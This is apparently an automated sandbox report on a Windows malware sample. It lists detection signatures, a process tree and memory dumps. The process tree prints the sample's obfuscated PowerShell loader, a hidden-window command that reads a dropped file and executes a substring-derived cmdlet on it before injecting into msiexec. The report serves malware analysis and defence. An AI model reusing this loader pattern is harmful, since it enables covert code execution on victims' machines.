Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/08/2026, 18:09
General
- Target 886ab40cc627c57d98b18a268089625baf53c704fadb5c49e99fcb317422a375.exe
- Size 784KB
- Sample260810-wrgxcazvbz
- SHA256 886ab40cc627c57d98b18a268089625baf53c704fadb5c49e99fcb317422a375
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\886ab40cc627c57d98b18a268089625baf53c704fadb5c49e99fcb317422a375.exe"C:\Users\Admin\AppData\Local\Temp\886ab40cc627c57d98b18a268089625baf53c704fadb5c49e99fcb317422a375.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Neurokyme=Get-Content -Raw 'C:\Users\Admin\AppData\Local\afsindigstes\physitheism\altingsmedlemmet\Repolarized.Lym';$Hindebger=$Neurokyme.SubString(54761,3);.$Hindebger($Neurokyme) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Krsels.Tyr
vitrifacture.txt
Repolarized.Lym
memory/2436-69-0x00000000022F0000-0x00000000033A1000-memory.dmp
memory/2436-68-0x0000000001000000-0x00000000022E6000-memory.dmp
memory/2436-65-0x00000000022F0000-0x00000000033A1000-memory.dmp
memory/4544-43-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-46-0x0000000007FF0000-0x0000000008000000-memory.dmp
memory/4544-23-0x0000000006480000-0x00000000064E6000-memory.dmp
memory/4544-26-0x0000000006630000-0x000000000698B000-memory.dmp
memory/4544-27-0x0000000006A00000-0x0000000006A1E000-memory.dmp
memory/4544-28-0x0000000006A30000-0x0000000006A7C000-memory.dmp
memory/4544-29-0x00000000079F0000-0x0000000007A86000-memory.dmp
memory/4544-30-0x0000000006EF0000-0x0000000006F0A000-memory.dmp
memory/4544-31-0x0000000006F50000-0x0000000006F72000-memory.dmp
memory/4544-32-0x0000000008070000-0x000000000862A000-memory.dmp
memory/4544-20-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-34-0x0000000008CB0000-0x000000000932C000-memory.dmp
memory/4544-35-0x0000000007E10000-0x0000000007E46000-memory.dmp
memory/4544-39-0x0000000007E50000-0x0000000007E70000-memory.dmp
memory/4544-36-0x000000006FEA0000-0x000000006FEEC000-memory.dmp
memory/4544-40-0x0000000007EA0000-0x0000000007F43000-memory.dmp
memory/4544-42-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-41-0x0000000007FA0000-0x0000000007FAA000-memory.dmp
memory/4544-21-0x0000000005C20000-0x0000000005C42000-memory.dmp
memory/4544-44-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-45-0x0000000007FD0000-0x0000000007FE1000-memory.dmp
memory/4544-22-0x0000000006410000-0x0000000006476000-memory.dmp
memory/4544-47-0x0000000008010000-0x0000000008025000-memory.dmp
memory/4544-48-0x0000000008050000-0x000000000806C000-memory.dmp
memory/4544-49-0x0000000008040000-0x0000000008048000-memory.dmp
memory/4544-50-0x00000000087B0000-0x00000000087DA000-memory.dmp
memory/4544-51-0x00000000087E0000-0x0000000008804000-memory.dmp
memory/4544-52-0x00000000734F2000-0x00000000734F3000-memory.dmp
memory/4544-53-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-54-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-55-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-56-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-19-0x0000000005D10000-0x000000000635A000-memory.dmp
memory/4544-58-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-59-0x0000000009330000-0x000000000A3E1000-memory.dmp
memory/4544-60-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-61-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-63-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-64-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-18-0x00000000734E0000-0x0000000073C9C000-memory.dmp
memory/4544-17-0x0000000003500000-0x0000000003536000-memory.dmp
memory/4544-16-0x00000000734F2000-0x00000000734F3000-memory.dmp